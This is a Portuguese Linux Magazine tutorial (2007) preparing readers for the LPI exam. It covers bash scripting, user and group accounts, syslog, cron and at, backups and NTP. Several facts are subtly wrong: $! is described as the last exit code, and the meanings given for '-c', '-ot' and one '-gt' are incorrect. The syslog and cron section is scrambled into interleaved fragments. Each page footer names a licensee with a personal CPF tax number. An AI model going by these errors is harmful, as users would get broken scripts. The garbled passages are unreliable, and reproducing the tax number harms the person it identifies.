Objetivo 1.108.2: Encontrar Documentação Linux na Internet O LDP – Linux Documentation Project [1] fornece documentos detalhados sobre muitas tarefas. Os documentos estão organizados na forma de HOWTOs (receitas passo-a-passo) e guias, que abordam temas de forma mais abrangente e aprofundada. Há também links para artigos sazonais. Respostas para perguntas recorrentes podem ser encontradas e novos questionamentos podem ser feitos em sites de fóruns e em newsgroups. Um site com fóruns diversos e voltados para tópicos específicos é [2]. Newsgroups podem ser acessados através do Google Groups [3]. Os grupos tradicionais para discussão de Linux são os derivados do comp.os.linux.. Como cada distribuição tem suas particularidades, os respectivos sites fornecem documentação de grande valia, sobre administração, configuração e uso de cada aspecto do sistema. Também os sites dos desenvolvedores de programas costumam fornecer documentação extra.

57

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


TUTORIAL | Preparação LPI

Objetivo 1.108.5: Informar o Usuário sobre Questões Pertinentes ao Sistema Informações úteis podem ser mostradas durante o login do usuário como, por exemplo, contato do administrador, informes de manutenção, etc. O programa de controle de terminal agetty mostra o conteúdo do arquivo /etc/issue no prompt de login. Para sessões telnet, o arquivo /etc/issue.net desempenha a mesma função. Para exibir uma mensagem após um login bem sucedido, utiliza-se o arquivo /etc/motd (message of the day).

Tópico 109: Shells, Script, Programação e Compilação Objetivo 1.109.1: Personalizar e Trabalhar no Ambiente Shell O shell é ao mesmo tempo uma interface de interação com o computador e um ambiente de programação. Há diferentes opções de shell, como o bash, csh ou zsh. O mais utilizado, devido a suas muitas qualidades, e que será aqui abordado é o bash. Há quem prefira o csh, que possui sintaxe semelhante à da linguagem C. Variáveis Variáveis são utilizadas para fornecer informações úteis e necessárias a programas e usuários. São definidas na forma nome=valor. Não deve haver espaços na definição. Variáveis podem ser globais ou locais. Variáveis globais são aquelas acessíveis à todos os processos. Exemplos destas são PATH, que define os diretórios de programas; HOME, o diretório pessoal do usuário; SHELL, o shell padrão para o usuário. Por conveniência, os nomes de variáveis globais são em maiúsculas. Elas podem ser listadas com o comando env. Todas as variáveis são listadas usando set. As variáveis globais são definidas no login, para todo o sistema, através do arquivo /etc/profile ou para um usuário específico, através do arquivo ~/.bash_profile. Variáveis locais são acessíveis apenas à sessão atual do shell. Podem ser definidas em scripts ou na própria linha de comando. Para tornar uma variável aces-

sível aos processos filhos subseqüentes, é usada a instrução export: $ export BASH=’Bourne Again Shell’

O valor da variável é retornado com uso de $: $ echo $BASH Bourne Again Shell

Para excluir uma variável, é usada a instrução unset: $ unset BASH

Funções Para simplificar tarefas corriqueiras, é possível escrever funções que aglutinam comandos. Podem ser escritas diretamente pela linha de comando ou serem definidas em scripts ou nos arquivos de configuração do bash. O exemplo abaixo mostra algumas informações a respeito do nome de programa fornecido: $ > > > > >

function pinfo () { echo “Localização de $1:” which $1 echo “Processos referentes a $1:” ps x | grep $1 }

A mesma coisa pode ser feita, no entanto, através do arquivo ~/.bashrc: function pinfo () { echo “Localização de $1:” which $1 echo “Processos referentes a $1:” ps x | grep $1}

Em ambos os casos, a função pinfo poderá ser utilizada como um comando. Arquivos de configuração do bash É possível automatizar a criação de variáveis, aliases, funções e outras personalizações do bash, tanto para quando o usuário entra no sistema, quanto para cada nova instância do bash. Para cada propósito específico existe um arquivo apropriado: ➧ /etc/profile: Arquivo de configuração para o sistema, executado durante o login. Contém definições de variáveis globais de ambiente, como PATH; ➧ /etc/bashrh: Arquivo com funções e aliases comuns, para ser chamado pelos ~/.bashrc e por cada usuário;

➧ ~/.bash_profile: Se o arquivo existir, será executado após /etc/profile após o login; ➧ ~/.bash_login: Se ~/.bash_profile não existir, este será o arquivo procurado pelo sistema; ➧ ~/.profile: Caso nem ~/.bash_profile , nem ~/.bash_login existirem, este será o arquivo procurado; ➧ ~/.bashrc: Arquivo executado após o login e em toda sessão, interativa ou não, do bash; ➧ ~/.bash_logout: Executado no logout do sistema; ➧ ~/.inputrc: Define as opções de entrada de teclado. Por padrão, combinações estilo Emacs são usadas. Para alterar para o estilo do vi, adiciona-se a linha set editing-mode vi. Para eliminar o aviso de erro sonoro, adiciona-se set bell-style none. O arquivo de configuração global é /etc/inputrc.

Objetivo 1.109.3: Editar e Escrever Scripts Simples Scripts são arquivos que passam instruções a um interpretador. Diferente de programas compilados, scripts são arquivos de texto que podem ser editados em qualquer editor. A primeira linha de um script deve especificar o interpretador para o script, que é indicado pelos caracteres #! (shebang). Para um script com instruções para o bash, a primeira linha deverá ser #!/bin/bash. Assim, o interpretador padrão será o shell bash. O script deverá ter permissão de execução para rodar diretamente, ou ser invocado como argumento do comando bash ou sh. Variáveis Especiais Os argumentos passados para um script e outras informações úteis são retornados através da variável especial $x, onde x determina que valor retornar: ➧ $*: Todos os valores passados como argumentos ➧ $#: O número de argumentos ➧ $0: O nome do script ➧ $n: O valor do argumento na posição n ➧ $! : PID do último programa executado ➧ $$: PID do shell atual ➧ $?: Código de saída do último comando Para requisitar valores do usuário durante a execução do script, é usada a instrução read:

58

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Preparação LPI | TUTORIAL

echo “Entrar valor solicitado:” read RESPOSTA

O valor retornado será armazenado na variável RESPOSTA. Caso uma variável de retorno não seja especificada, o nome padrão da variável de retorno, REPLY, será utilizado. if then else A estrutura lógica if executa um comando ou uma lista de comandos se uma afirmação for verdadeira. A instrução test avalia a afirmação e retorna se verdadeira ou falsa. Seu uso é geralmente associado à instrução condicional if, como no exemplo abaixo, que retorna ok se o arquivo /bin/bash for executável: if test -x /bin/bash ; then echo “ok” fi

O exemplo abaixo mostra uma maneira fácil de testar essa função: if [ -x /bin/bash ] ; then echo “ok” fi

A instrução else é um apêndice à estrutura if, e determina o bloco de instruções a executar caso a afirmação avaliada seja falsa. Exemplo: if [ -x /bin/bash ] ; then echo “ok” else echo “não ok” fi

O final da estrutura if deve ser sempre sinalizado com fi. Uma variação da instrução if é case. A instrução case executará a instrução se um item indicado for encontrado em uma lista de itens divididos pelo caracter |. Exemplo: case 3 in (1|2|3|4|5) echo “Número 3 encontrado na lista,”; echo “portanto case finalizou e”; echo “executou esses comandos”; esac

O final da estrutura case deve ser sempre sinalizado com esac. Opções de avaliação de test para arquivos e diretórios: ➧ -d caminho: Verdadeiro se o caminho existir e for um diretório

➧ -c caminho: Verdadeiro se o caminho existir ➧ -f caminho: Verdadeiro se o caminho existir e for um arquivo comum ➧ -L caminho: Verdadeiro se o caminho existir e for um link simbólico ➧ -r caminho: Verdadeiro se o caminho existir e puder ser lido (acessado) ➧ -s caminho: Verdadeiro se o caminho existir e seu tamanho for maior que zero ➧ -w caminho: Verdadeiro se o caminho existir e puder ser escrito ➧ -x caminho: Verdadeiro se o caminho existir e for executável ➧ caminho1 -ot caminho2: Verdadeiro se caminho1 for outro que não caminho2

Opções de avaliação de test para texto: ➧ -n escrito: Verdadeiro se o tamanho de escrito for diferente de zero ➧ -z escrito: Verdadeiro se o tamanho de escrito for zero ➧ escrito1 == escrito2: Verdadeiro se escrito1 for igual a escrito2 ➧ escrito1 != escrito2: Verdadeiro se escrito1 for diferente de escrito2 Opções de avaliação de test para números: ➧ num1 -lt num2: Verdadeiro se num1 for menor que num2 ➧ num1 -gt num2: Verdadeiro se num1 for maior que num2 ➧ num1 -le num2: Verdadeiro se num1 for menor ou igual a num2 ➧ num1 -gt num2: Verdadeiro se num1 for maior ou igual a num2 ➧ num1 -eq num2: Verdadeiro se num1 for igual a num2 num1 ➧ -ne num2: Verdadeiro se num1 for diferente de num2 Substituição de Comandos Um dos principais propósitos de um script é trabalhar com os dados produzidos por outros comandos. Para retornar a saída de um comando, o mesmo é colocado entre aspas simples invertidas ` ` ou entre $(). Exemplo: TRESLINHAS=`cat -n3 /etc/inputrc` echo “As três primeiras linhas de /etc/ ➥inputrc:” echo $TRESLINHAS

Resultado idêntico será produzido na forma: TRESLINHAS=$(cat -n3 /etc/inputrc) echo “As três primeiras linhas de /etc/

➥inputrc:” echo $TRESLINHAS

Operações matemáticas com números inteiros são feitas através da instrução expr: SOMA=`expr $VALOR1 + $VALOR2`

Produz resultado idêntico: SOMA=$(($VALOR1 + $VALOR2))

Instruções de laço for A instrução for executa ação para cada elemento de uma lista. Neste caso, para cada número gerado pelo comando seq: for i in $(seq -w 5); do echo “Baixando foto_$i.jpg”; echo wget http://www.somedomain.com/foto_ ➥$i.jpg; done

Produzirá a saída: Baixando foto_1 wget http://www.fotos.com/foto_1.jpg Baixando foto_2 wget http://www.fotos.com/foto_2.jpg Baixando foto_3 wget http://www.fotos.com/foto_3.jpg Baixando foto_4 wget http://www.fotos.com/foto_4.jpg Baixando foto_5 wget http://www.fotos.com/foto_5.jpg

until A instrução until executa um ação em loop até que uma afirmação seja verdadeira como, por exemplo, adicionar uma linha ao arquivo texto_simples até que alcance 10 linhas: LENTEXTO=$(wc -l texto_simples) until [ ${LENTEXTO%% *} -eq 10 ]; do echo “Mais uma linha” >> texto_simples LENTEXTO=$(wc -l texto_simples) done

while A instrução while é semelhante à instrução until, mas executa uma ação enquanto a afirmação for verdadeira, como, por exemplo, adicionar uma linha ao arquivo texto_simples até que alcance 20 linhas (em outras palavras, enquanto for inferior a vinte linhas): LENTEXTO=$(wc -l texto_simples) while [ ${LENTEXTO%% *} -lt 20 ]; do echo “E dá-lhe linha” >> texto_simples LENTEXTO=$(wc -l texto_simples) done

59

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


TUTORIAL | Preparação LPI

Local, Propriedade e Permissão Para que um script possa ser usado por todos os usuários, é importante que ele seja executável e que esteja num diretório incluído na variável PATH. Direito de escrita deve ser retirado para todos exceto o dono (normalmente o root). Por ser um arquivo mais vulnerável, o sistema não aceitará o bit SUID para arquivos script. Scripts para Tarefas Administrativas Scripts são comumente utilizados para realizar tarefas morosas de administração de sistemas, como backup de dados e atualizações. Para facilitar o acompanhamento dessas tarefas, o próprio script pode enviar um email ao administrador, geralmente informando sobre falhas. Se a saída do último comando ( $!) foi diferente de 0, é porque houve uma falha.O exemplo abaixo envia um email ao administrado, reportando erro: mail -s “Erro em $HOSTNAME” ➥admin@casadepraia.com < backup.log

Tópico 111: Tarefas Administrativas Objetivo 1.111.1: Administrar Contas de Usuário, Grupos e Arquivos de Sistema Relacionados Conta de Usuário O comando /usr/sbin/useradd cria uma nova conta no sistema. /usr/sbin/adduser é um link para useradd. Valores padrão são usados quando nenhum argumento é fornecido ou através de useradd -D. Em algumas distribuições, essas informações podem ser verificadas e alteradas em /etc/default/useradd. Opções comuns de useradd: ➧ -c comentário: Comentário (geralmente o nome completo do usuário); ➧ -d diretório: Caminho para o diretório pessoal do usuário; ➧ -g grupo: Grupo inicial (GID). Precisa existir no sistema; ➧ -G grupo1,grupo2: Grupos adicionais, separados por vírgula.; ➧ -u UID: UID (user ID) do usuário. ➧ -s shell : Shell padrão para o usuário; ➧ -p senha: Senha (entre aspas);

➧ -e data : Data de validade da conta; ➧ -k: Copia o diretório modelo /etc/ skel;

➧ -m: Cria o diretório pessoal, se não existir. Para que o usuário possa acessar sua conta, o administrador precisará definir uma senha para ele. Isso pode ser feito através do comando passwd nome do usuário. Usado sem argumentos, passwd altera a senha para o usuário atual. O campo de descrição pode ser alterado com o comando chfn e o shell inicial com chsh. Usuários comuns podem usar estes comandos para alterar apenas suas próprias contas. Uma conta de usuário pode ser apagada com o comando userdel . A opção -r assegura que o diretório pessoal do usuário também seja apagado. As informações de conta dos usuários do sistema são armazenadas no arquivo /etc/passwd, como mostra o exemplo abaixo: root:x:0:0::/root:/bin/bash luciano:x:1000:100:Luciano Antonio ➥Siqueira:/home/luciano:/bin/bash

Cada usuário é definido em uma linha, em campos separados por :, representando, respectivamente: 1 Nome de Login 2 Senha (x se usando o arquivo /etc/ shadow) 3 Número de identificação do usuário (UID) 4 Número do grupo efetivo do usuário (GID) 5 Descrição breve do usuário (opcional) 6 Diretório pessoal para o usuário 7 Shell inicial do usuário (se vazio, /bin/sh será usado) Para editar diretamente o arquivo /etc/passwd, é altamente indicado usar o comando vipw, que bloqueia o arquivo /etc/passwd contra possíveis alterações externas, evitando corrupção do arquivo. O editor utilizado será o determinado pela variável de ambiente VISUAL ou EDITOR. Se ambas não existirem, o editor utilizado será o vi. Usado com a opção -s, vipw abrirá para edição o /etc/shadow. O arquivo /etc/passwd pode ser lido por qualquer usuário (-rw-r--r--), o que pode tornar as senhas criptografadas passíveis de serem decodificadas. Para evitar essa possibilidade, é usado um segundo arquivo, acessível apenas ao super-usuário, localizado

em /etc/shadow (-rw-r-----). Para converter as senhas de arquivos /etc/passwd antigos para /etc/shadow, utiliza-se o comando pwconv. Para retornar as senhas para o formato antigo, utiliza-se pwunconv. Como no arquivo /etc/passwd, os campos no arquivo /etc/shadow são separados por :, correspondendo a: 1 Nome de usuário, que deve corresponder a um nome válido em /etc/passwd;

A senha, criptografada numa sequência de 13 caracteres. Em branco permite login sem senha. Com um asterisco “*” indica que a conta está bloqueada; 3 O número de dias (desde 01/01/1970) desde que a senha foi alterada; 4 Número mínimo de dias até que uma senha possa ser novamente alterada. 0 permite alterar a senha sem esperar; 5 Número de dias depois do qual a senha deverá ser alterada. Por padrão 99999, ou 274 anos; 6 Número de dias para advertir o usuário sobre a senha a expirar; 7 Número de dias depois da senha expirar após o qual a conta será bloqueada; 8 O número de dias, a partir de 01/01/1970, desde que a conta foi bloqueada; 9 Campo reservado. Essas informações referentes à validade da senha podem ser modificadas através do programa chage, com as seguintes opções: ➧ -m dias: Mínimo de dias até que o usuário possa trocar uma senha modificada; ➧ -M dias: Número máximo de dias no qual a senha permanecerá válida; ➧ -d dias: Número de dias decorridos em relação a 01/01/1970 em que a senha foi mudada. Também pode ser expresso no formato de data local (dia/mês/ano). ➧ -E dias: Número de dias decorridos em relação a 01/01/1970 a partir do qual a conta não estará mais disponível. Também pode ser expresso no formato de data local (dia/mês/ano); ➧ -I dias: Inatividade ou tolerância de dias, após a expiração da senha, para que a conta seja bloqueada; ➧ -W dias: Dias anteriores ao fim da validade da senha quando será emitido um aviso a respeito. Para usuários comuns, chage só pode ser usado com a opção -l usuário, que mostra as restrições referentes ao usuário em questão. 2

60

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Preparação LPI | TUTORIAL

O comando usermod agrega as funções de alteração de conta de usuário, através das opções: ➧ -c descrição: Descrição do usuário; ➧ -d diretório: Altera diretório do usuário. Com o argumento -m move o conteúdo do diretório atual para o novo; ➧ -e valor: Prazo de validade da conta, especificada no formato dd/mm/aaaa; ➧ -f valor: Número de dias após a senha ter expirado até que a conta seja bloqueada. Um valor -1 cancela essa função; ➧ -g grupo: Grupo efetivo do usuário; ➧ -G grupo1,grupo2: Grupos adicionais para o usuário; ➧ -l nome: Nome de login do usuário; ➧ -p senha: Senha; ➧ -u UID: Número de identificação (UID) do usuário; ➧ -s shell: Shell padrão do usuário ➧ -L: Bloqueia a conta do usuário, colocando um sinal ! na frente da senha criptografada. Uma alternativa é substituir o shell padrão do usuário por um script ou programa que informe as razões do bloqueio; ➧ -U: Desbloqueia a conta do usuário, retirando o sinal ! da frente da senha criptografada. Grupos de Usuários Para criar um grupo, é usado o comando groupadd: groupadd estudo_c

O número de identificação do grupo (GID) pode ser especificado através da opção -g. Para apagar um grupo, o comando groupdel: groupdel estudo_c

Um usuário poderá ser incluído/ excluído de um grupo através do comando gpasswd, utilizando o argumento adequado: ➧ gpasswd grupo: Cria uma senha para grupo; ➧ gpasswd -r grupo: Apaga a senha para ➧ ➧ ➧

grupo; gpasswd -a usuário grupo: Associa usuário a grupo; gpasswd -d usuário grupo: Exclui usuário de grupo; gpasswd -A usuário grupo: Torna usuário administrador de grupo.

Um usuário pode pertencer a mais de um grupo, mas apenas um grupo deve

ser o grupo principal. Para mostrar os grupos aos quais um usuário pertence, é usado o comando groups. Esse mesmo comando, sem argumentos, mostra os grupos para o usuário atual. O comando id mostra os grupos para o usuário, mostrando também o número de identificação do usuário e dos grupos. O comando newgrp é usado para alterar o grupo efetivo do usuário para o grupo solicitado em uma nova sessão de login. Caso o usuário não pertença ao grupo em questão, será a ele associado. As informações sobre os grupos existentes no sistema são armazenadas em /etc/group. Ali cada grupo é definido em uma linha, em campos separados por : representando, respectivamente: 1 Nome do grupo 2 Senha para o grupo (x se utilizar /etc/gshadow) 3 Número de identificação do grupo (GID) 4 Lista de membros do grupo, separados por vírgula Para editar diretamente o arquivo /etc/ group, é altamente indicado usar o comando vigr, que bloqueia o arquivo /etc/group contra possíveis alterações externas, evitando corrupção do arquivo. O editor utilizado será o determinado pela variável de ambiente VISUAL ou EDITOR. Se ambas não existirem, o editor utilizado será o vi. Usado com a opção -s, vigr abrirá para edição o arquivo /etc/gshadow. Assim como ocorre com /etc/passwd,, aqui também é possível usar um segundo arquivo para armazenar informações referentes à senha dos grupos, chamado /etc/gshadow. O comando grpconv converte as senhas no formato antigo /etc/group para /etc/gshadow e grpunconv realiza o procedimento inverso. O comando groupmod agrega algumas funções de alteração de grupos, pelas opções: ➧ -g GID: Altera o número (GID) do grupo; ➧ -n nome: Altera o nome do grupo.

Objetivo 1.111.2: Ajustar o Ambiente do Usuário e Variáveis de Ambiente de Sistema Novos diretórios pessoais podem ser criados a partir de uma árvore modelo situado em /etc/skel. Para que esse diretório modelo seja utilizado, é necessário passar a opção -k para useradd.

As variáveis de sistema comuns a todos os usuários podem ser definidas em /etc/ profile. A cada novo login, o shell usará este arquivo para definir certas características do ambiente do usuário, como as variáveis PATH e VISUAL, e a máscara padrão de criação de arquivos umask. Através do comando env pode-se executar um programa – indicado como argumento – ignorando as configurações de ambiente atual, através da opção -i ou simplesmente -. Sem nenhum programa como argumento, o comando lista todas as configurações do ambiente resultante. Uma única variável pode ser ignorada se especificada com a opção -u. Para modificar o valor de uma variável para execução do programa, basta fornecê-la como argumento no formato VARIÁVEL=VALOR. O arquivo /etc/login.defs permite alterar o comportamento de funções relacionadas ao uso de /etc/shadow, para todos usuários. É possível definir opções padrão para criação de novos usuários, como prazo de validade das senhas e criação automática de diretório pessoal. O comportamento do login do sistema também pode ser alterado, como intervalo entre tentativas frustradas de login e checagem automática de email.

Objetivo 1.111.3: Configurar e Recorrer a Arquivos de log A maioria dos arquivos de log são armazenados no diretório /var/log/. Enquanto alguns programas geram os próprios arquivos de log, como o Xorg e o samba, a maioria dos logs do sistema são controlados pelo daemon syslogd. O daemon syslogd é configurado através do arquivo /etc/syslog.conf. Cada regra de configuração é separada em dois campos, seletor e ação, separados por espaço(s) ou tabulação(ões). O campo seletor é dividido em duas partes – facility e priority - separadas por um ponto. @Facility indica o sub-sistema originário da mensagem, e pode ser um dos seguintes termos: auth, authpriv, cron,

Quadro1: Logs de sistema comuns ➧ /var/log/cron: Rastreia as mensagens de execução do cron ➧ /var/log/mail: Mensagens relacionadas ao envio de mensagens de email ➧ /var/log/messages: Todas as mensagens do kernel, exceto authpriv, cron, mail e news. ➧ /var/log/secure: Logins fracassados, inclusão/remoção de usuários ou grupos, etc.

61

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


TUTORIAL | Preparação LPI

daemon, ftp, kern, lpr, mail, news, syslog, user, uucp e local0 até local7. Priority define a gra-

0-59 0-23 0-31 1-12 0-6 comando Dia da Semana

vidade da mensagem e pode ser expressa, em ordem crescente de gravidade, pelos seguintes termos: debug, inrfo, notice, warning, err, crit, alert, emerg. O termo none indica que não há prioridade para a facilidade em questão. Figura 1 Esquema de funcionamento do cron. O caracter asterisco * indica que a regra vale, dependendo de Seu arquivo de configuração é /etc/logro- arquivos existir, apenas o usuário root que lado do ponto ela está, para qualquer tate.conf, onde regras de corte, compressão poderá usar at. facility ou priority. Mais de uma facility e envio por email, dentre outras, podem ser pode ser especificada para a priority na especificadas para cada arquivo de log. cron mesma regra, separando-as por vírgula. A cada minuto, o daemon crond lê as taO sinal = confere exclusividade à belas de agendamento (crontabs) contendo facility/@priority@ que o precede. Em Objetivo 1.111.4: Automatizar tarefas a serem executadas em data e hora contrapartida, o sinal ! faz ignorar a e Agendar Tarefas específicas. Crontabs de usuários ficam em facilidty/@priority@ que precede. /var/spool/cron/*. O crontab do sistema está Administrativas de Sistema O sinal ; pode ser usado para separar localizado em /etc/crontab. Esses arquivos mais de um seletor para a mesma ação. Existem dois sistemas principais de agen- não devem ser editados diretamente, mas O campo ação determina o destino damento de tarefas no Linux, o at e o através do comando crontab. dado à mensagem em questão. Geral- cron. O at é utilizado para agendamentos Cada linha no arquivo crontab representa mente as mensagens são enviadas para simples de comandos, enquanto o cron uma tarefa, no formato: Figura 1: crontab.svg arquivos em /var/log/, mas podem ser é utilizado para agendar procedimentos O traço - delimita um período para execução. direcionadas também para pipes, conso- recorrentes do sistema. O caractere * em um campo determina a execução do comando sempre que o agenles, máquinas remotas, usuários específicos e para todos os usuários no sistema. at damento corresponder a qualquer marcação Exemplo de /etc/syslog.conf: Essas tarefas são agendadas via linha de para o campo em questão. O caracter barra comando, através do comando at, no / estabelece um passo para a execução.O Todas mensagens do kernel irão para o formato: at quando comando: Onde quando exemplo abaixo executa o script_backup a ➥arquivo kernel. pode significar, por exemplo, now (agora) cada quatro horas, de segunda à sexta, nos Mensagens críticas e maiores irão para o ou midnight (a meia noite). Outras opções meses de maio e junho: ➥host finlandia de datas e formatos podem ser consultados e para o console. Mensagens info e */4 * 5,6 1-5 /usr/local/bin/script_backup em /usr/share/doc/at-xxx/timespec. ➥maiores, a exceção de mensagens de erro e maiores, irão para o Os agendamentos são armazenados em ➥arquivo kernel-info. # /var/spool/at/*. Para conferir os agendaÉ importante especificar o camikern.* /var/adm/kernel nho completo para o comando, pois mentos do usuário atual, usa-se at -l ou kern.crit @finlandia atq. Um agendamento pode ser apagado a tarefa terá apenas as variáveis de kern.crit /dev/console através de seu número específico, forne- ambiente USER, HOME e SHELL. kern.info;kern.!err /var/adm/kernel-info cido para o comando atrm. Se a tarefa produzir alguma saída, Usuários comuns poderão usar at esta será enviada por email para o usuApós alterações no arquivo /etc/syslog. se constarem no arquivo /etc/at.allow. ário. Para evitar esse comportamento, conf, é necessário reiniciar o daemon syslogd Se /etc/at.allow não existir, o arquivo basta redirecionar a saída da tarefa para para atualização das configurações. /etc/at.deny será consultado e serão /dev/null ou para um arquivo. Através do comando logger é possível bloqueados ao uso do at os usuários É possível controlar o uso do crontab criar mensagens de log manualmente, que nele constarem. Se nenhum dos por meio dos arquivos /etc/cron.allow e / indicadas como argumento do comando. A opção -p permite determinar a facility. Quadro 2: Opções do comando crontab priority para a mensagem. Como os arquivos de log são continua➧ crontab -l usuário: Mostra as tarefas agendadas por mente ampliados, é bastante indicado que as ➧ usuário crontab -e usuário: Edita o crontab do usuámensagens mais antigas sejam movidas, para rio selecionado no editor padrão do sistema evitar que o arquivo de log inche demais. Essa tarefa é realizada através do pro➧ crontab -d usuário: Apaga o crontab do usuário selecionado. grama logrotate. Normalmente, logrotate Se o nome de usuário não é fornecido, será assumido o usuário atual. é agendado para execução diária.

Mês

Dia

Hora Minuto

62

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Preparação LPI | TUTORIAL

etc/cron.deny. Se @ /etc/cron.allow@ existir,

apenas os usuários que nele constarem poderão agendar tarefas. Se /etc/cron. deny existir, os usuários nele existentes serão proibidos de agendar tarefas. Se nenhum dos arquivos existir, todos os usuários poderão agendar tarefas.

Quadro 3: Utilização de algumas ferramentas de backup Fazer backup de /etc em um drive de fita usando tar: tar cf /dev/ftape /etc Verificar se há diferença entre os dados copiados e os originais:

tar dvf /dev/ftape

Objetivo 1.111.5: Manter uma Estratégia Eficiente de Backup de Dados

O backup incremental é realizado informando a data base com a opção --newer (-N). Apenas os arquivos criados a partir da data fornecida serão arquivados.

As ferramentas de backup mais tradicionais no Linux, tar , cpio e dump . tar e cpio , são semelhantes, aglutinam arquivos em arquivos ou fitas e podem extrair e atualizar estes arquivos. dump age de forma diferente, lidando diretamente com o sistema de arquivos monolítico. Em linhas gerais, tar e cpio são utilizados para arquivar grupos de arquivos específicos, dentro de um ou mais sistemas de arquivos. Um esquema simples de backup é arquivar todos os dados na primeira vez e depois arquivar apenas os dados modificados. O primeiro passo chama-se backup completo e o segundo backup incremental.

tar cf /dev/ftape –-newer ‘12 apr 2006’ /etc Verificando se há erros no backup:

tar tvf /dev/ftape

O backup completo leva mais tempo, devido a necessidade de copiar todos os dados. No entanto, e apesar do backup incremental ser mais rápido, o procedimento de recuperar os arquivos de um backup incremental é mais moroso, uma vez que será necessário mais de um procedimento de restauração.

Arquivos apagados dos dados atuais não serão apagados no backup incremental feito através do tar. Dessa forma, poderão haver diversos níveis de backup, a partir de um nível 0 (backup completo). Enquanto a criação e recuperação de níveis de backup é feita manualmente

�����

������ ������������� ���������

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


TUTORIAL | Preparação LPI

# date MMDDhhmmCCYY.ss segundos (opcional) Ano, porção da década (opcional) Ano, porção do século (opcional) Minutos Horas Dia Mês Figura 2 Esquema de funcionamento do comando date.

nos comandos tar e cpio, com o comando dump ela é nativa, ou seja, a recuperação de um nível automaticamente recuperará os níveis anteriores. Ao se utilizar dump, as informações referentes ao backup são armazenadas em /etc/dumpdates. O comando restore é utilizado para restaurar o backup. Arquivos de backup dump podem ser testados com o comando restore -t arquivo.

Objetivo 1.111.6: Manutenção de Data e Hora do Sistema Relógios e Fuso Horário O kernel do Linux mantém um relógio separado do relógio do hardware (BIOS), sendo que este é lido pelo relógio do kernel apenas durante o boot passando, logo a seguir, a funcionar de maneira distinta. O relógio do kernel guarda a hora universal, de modo que fusos horários são calculados por cada processo através das ferramentas timezone. O relógio do hardware pode estar em hora local ou em hora universal. É preferível que esteja em hora universal: assim não será necessário modificá-lo no período de horário de verão. O fuso horário do sistema é determinado pelo arquivo /etc/localtime, que geralmente é um link simbólico apontando para o arquivo real em /usr/share/ zoneinfo/ ou em /usr/lib/zoneinfo/. Um usuário poderá alterar o fuso horário para si definindo a variável de ambiente TZ. O formato da variável TZ está elucidado no manual do comando tzset. O comando date é usado para mostrar a hora e data no sistema: $ date Qua Abr 12 18:38:05 BRT 2006

date -u mostra a hora universal: $ date -u Qua Abr 12 21:38:09 UTC 2006

O próprio comando date é usado para alterar o relógio de software (do kernel). date.svg A opção -u especifica que a data informada se refere à hora universal. Para mostrar ou alterar o relógio do hardware, é usado o comando hwclock. Com o argumento -w atualiza o relógio de hardware pelo relógio de software. Com o argumento -s atualiza o relógio de software com o relógio de hardware. Como no comando date, o argumento -u indica hora universal. NTP – Network Time Protocol Um computador em rede pode manter seu relógio atualizado comparando a hora com um outro computador na rede que tenha um relógio preciso. Isso é possível através do protocolo NTP. Para um sistema usar o NTP, o arquivo /etc/ntp.conf deve estar configurado adequadamente e o daemon ntpd deve estar ativo. O ntpd utiliza o protocolo UDP, através da porta de comunicação 123. Veja o exemplo abaixo: server br.pool.ntp.org server 0.pool.ntp.org server 1.pool.ntp.org server 2.pool.ntp.org driftfile /etc/ntp.drift

Neste arquivo /etc/ntp.conf mínimo, foram definidos apenas os servidores NTP e o arquivo drift. Servidores NTP públicos podem ser encontrados em [4] . Outras opções, como restrição de acesso ao servidor NTP local, podem ser consultadas na documentação encontrada em /usr/doc/ntp-x.x.x/.

A indicação do arquivo /etc/ntp.drift é importante, pois é nele que o ntpd armazenará as estatísticas de erro, projetando o intervalo de erro do relógio do sistema e atualizando-o. Se já estiver rodando, o daemon ntpd deverá ser reiniciado para utilizar as novas configurações. Em execução, o ntpd poderá funcionar como servidor NTP para outras máquinas na rede. Para conferir o andamento do ntpd, pode ser usado o comando ntpq:

ntpq -np remote refid stt ➥ when poll reach delay offset jitter =============================== ========================================== +200.218.160.160 200.20.186.75 2 u 80 ➥128 177 203.427 76.433 68.727 +72.21.46.202 67.52.51.34 3 u 1 ➥256 377 187.361 29.718 79.019 +24.123.66.139 192.168.1.231 2 u 1 ➥256 337 210.402 39.727 120.724 *64.136.200.96 .WWVB. 1 u 200 ➥128 36 235.761 43.737 75.380

Caso os valores locais de hora difiram do servidor, o ntpd irá aproximar lentamente a hora até que se corresponda, para evitar mudanças bruscas que podem causar confusão no sistema. Para forçar o ajuste imediato do relógio, é utilizado o comando ntpdate servidor. Considerações finais Um grande número de comandos foi visto nestes tópicos. Tópicos como o 107 e 111 mostram muitas opções para cada um deles. Mantenha o foco em como realizar tarefas corriqueiras, como adicionar uma impressora em rede e incluir e personalizar contas de usuários. É muito importante recordar no mínimo cada comando visto e sua função. ■

Mais Informações [1] Linux Documentation Project: http://www.tldp.org [2] Linux Questions: http://www.linuxquestions.org [3] Google Groups: http://groups.google.com [4] Servidores NTP: http://www.pool.ntp.org/

64

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Alta Vigilância

SYSADMIN

Sorria para a Web Se sua rede está segura, é hora de proteger o prédio onde se encontram as máquinas. Gerencie um circuito interno de TV a partir da Web. por Márcio Barbado Júnior e Tiago Tognozi

Darren Hester - www.sxc.hu

A

